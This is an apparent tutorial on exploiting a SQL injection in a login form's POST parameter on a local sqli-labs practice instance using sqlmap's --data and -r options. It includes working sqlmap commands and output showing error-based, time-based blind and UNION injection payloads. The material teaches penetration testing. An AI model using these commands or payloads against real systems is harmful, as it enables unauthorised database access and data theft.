Handling injections in POST request

Until now, we've just considered injections in the GET requests and parameters, if you have not yet completed them then click the below links:

Detect & Exploit SQL Injection 

Dumping The Data

Let us now look at an injection in a POST parameter and exploit the same with the SQL Map.





It will redirect to a login Portal, as below screenshot:



In the Username field, we try to insert a stray character to break the query as we did before. 



Let's see what happens, when we click on Submit button.



Upon submitting the work, we get a typical MySQL error. Now, we need to check exactly which POST parameter is affected. 

To view the request we will use a Firefox add-on known as Live HTTP Headers which can be easily installed from the Firefox add-on gallery.



Now, Launch the HTTP Header Live extension, and refresh the page to load the entries.



So, based on the output of Live HTTP Headers, the affected parameter is "uname".

Let's use SQLMap's --data switch to exploit this POST-based scenario. 

Now, we'll enforce the parameter to check to uname and pass the POST parameters inside --data. Let's try this out in SQLMap. 

┌──(kali㉿kali)-[~]
└─$sqlmap -u http://192.168.56.108/sqli-labs-master/Less-11/ --data "uname=test'&passwd=&submit=Submit" -p uname

Here's what you'll see:

---
Parameter: uname (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: uname=test' AND (SELECT 8831 FROM(SELECT COUNT(*),CONCAT(0x717a626b71,(SELECT (ELT(8831=8831,1))),0x71716b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sQZr&passwd=&submit=Submit


    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=test' AND (SELECT 2551 FROM (SELECT(SLEEP(5)))IkJg)-- METZ&passwd=&submit=Submit


    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: uname=test' UNION ALL SELECT NULL,CONCAT(0x717a626b71,0x6b566a6270656b416c57795a4d5978734f5a5a476c677976666b73684141704d5479534f44505055,0x71716b7a71)-- -&passwd=&submit=Submit
---
[13:57:01] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.37, PHP 5.6.39
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:57:01] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'

Look at that, SQLMap exploited the same level of easiness as it did in the GET-based injections. 

Another way of exploiting this is by capturing the POST request and manually specifying the parameter.

┌──(kali㉿kali)-[~]
└─$ nano requirement.txt


Now we've saved the request. We'll utilize the -r switch to read the HTTP request from the aforementioned file and then specify the vulnerable parameter, which in our case is uname through the -p switch.

┌──(kali㉿kali)-[~]
└─$sqlmap -r requirement.txt -p uname
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.6.7#stable}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org


[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] starting @ 13:57:47 /2022-12-06/


[13:57:47] [INFO] parsing HTTP request from 'requirement.txt'
[13:57:47] [INFO] resuming back-end DBMS 'mysql' 
[13:57:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: uname=test' AND (SELECT 8831 FROM(SELECT COUNT(*),CONCAT(0x717a626b71,(SELECT (ELT(8831=8831,1))),0x71716b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sQZr&passwd=&submit=Submit


    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=test' AND (SELECT 2551 FROM (SELECT(SLEEP(5)))IkJg)-- METZ&passwd=&submit=Submit


    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: uname=test' UNION ALL SELECT NULL,CONCAT(0x717a626b71,0x6b566a6270656b416c57795a4d5978734f5a5a476c677976666b73684141704d5479534f44505055,0x71716b7a71)-- -&passwd=&submit=Submit
---
[13:57:48] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.6.39, Apache 2.4.37
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:57:48] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.56.108'


[*] ending @ 13:57:48 /2022-12-06/

And again! Through this technique, we achieved the same result but in a different manner. 

I demonstrated this through a file because this can be used when exploiting SQL injections that are not straightforward; when the payload is SOAP (XML-based) or JSON then we can use the same -r switch and feed the request to SQL Map through a file and exploit the injection.